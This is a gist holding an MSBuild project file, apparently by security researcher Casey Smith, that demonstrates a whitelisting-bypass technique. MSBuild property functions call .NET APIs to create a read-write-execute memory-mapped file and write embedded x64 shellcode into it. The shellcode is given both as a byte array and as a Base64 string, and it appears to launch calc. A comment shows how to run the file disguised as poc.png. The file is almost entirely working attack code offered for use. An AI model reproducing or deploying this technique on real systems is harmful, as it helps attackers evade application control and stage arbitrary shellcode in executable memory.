MSBuild Property Functions - Load RWX Memory Mapped File

gistfile1.txt

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" >
	<Target Name="Hello" >

	<!-- Call ANY .NET API -->
	<!-- 
	
		Author: Casey Smith, Twitter: @subTee
		 
		License: BSD 3-Clause
	
		Full Working Details Here: https://www.youtube.com/watch?v=vj_rvLVpqg8
		
	-->
	<!--  set MSBUILDENABLEALLPROPERTYFUNCTIONS=1 -->
	<!-- 
	
	$env:MSBUILDENABLEALLPROPERTYFUNCTIONS = 1 
	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe poc.png 
	
	
	
	byte[] shellcode = new byte[272] {
	0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
	0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
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	0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
	0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
	0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
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	0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
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	0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
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	0x63,0x00 };
	
	
	-->
	
	<!--  Debug List Assemblies
	
	<CreateItem Include="$([System.AppDomain]::CurrentDomain.GetAssemblies())" >
		<Output TaskParameter="Include" ItemName="TypeItems"/>
	</CreateItem>
	<Message Text="%(TypeItems.Identity)" />
	
	-->
	
	<!-- Load Some Assemblies -->
	
	<Message Text="$([System.Reflection.Assembly]::Load('System.IO') )" />
	<Message Text="$([System.Reflection.Assembly]::Load('System.IO.MemoryMappedFiles') )" />
	<Message Text="$([System.Reflection.Assembly]::Load('System.Runtime.InteropServices') )" />
	
	
	<PropertyGroup> 

		<!--GUID -->
		<MappedFileName>1c9360ac-dc0d-4cd8-bf32-c4380855b733</MappedFileName>
		
		<Shellcode>/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYwA=</Shellcode>
		
		<CreateMemoryMappedFile>$([System.IO.MemoryMappedFiles.MemoryMappedFile]::CreateNew($(MappedFileName), $([System.Int64]::Parse(272)),$([System.IO.MemoryMappedFiles.MemoryMappedFileAccess]::ReadWriteExecute)))</CreateMemoryMappedFile>
		<WriteToMemoryMappedFile>$([System.IO.MemoryMappedFiles.MemoryMappedFile]::OpenExisting($(MappedFileName), $([System.IO.MemoryMappedFiles.MemoryMappedFileRights]::FullControl)).CreateViewStream().Write($([System.Convert]::FromBase64String($(Shellcode))), 0, 272) )</WriteToMemoryMappedFile>
		<!-- Example To Return an IntPtr -->
		<GetRWXIntPtrMemoryMappedFile>$([System.IO.MemoryMappedFiles.MemoryMappedFile]::OpenExisting($(MappedFileName), $([System.IO.MemoryMappedFiles.MemoryMappedFileRights]::FullControl)).CreateViewStream( $([System.Int64]::Parse(0)), $([System.Int64]::Parse(272)), $([System.IO.MemoryMappedFiles.MemoryMappedFileAccess]::ReadWriteExecute)).SafeMemoryMappedViewHandle.DangerousGetHandle().ToString("X"))</GetRWXIntPtrMemoryMappedFile>
		
		</PropertyGroup> 
		
	
	<Message Text="$(GetTypePrimitive)" />
	<Message Text="$(CreateMemoryMappedFile)" />
	<Message Text="$(GetRWXIntPtrMemoryMappedFile)" />
	
	<Message Text="$([System.Console]::ReadLine())" />
	
  </Target>
</Project>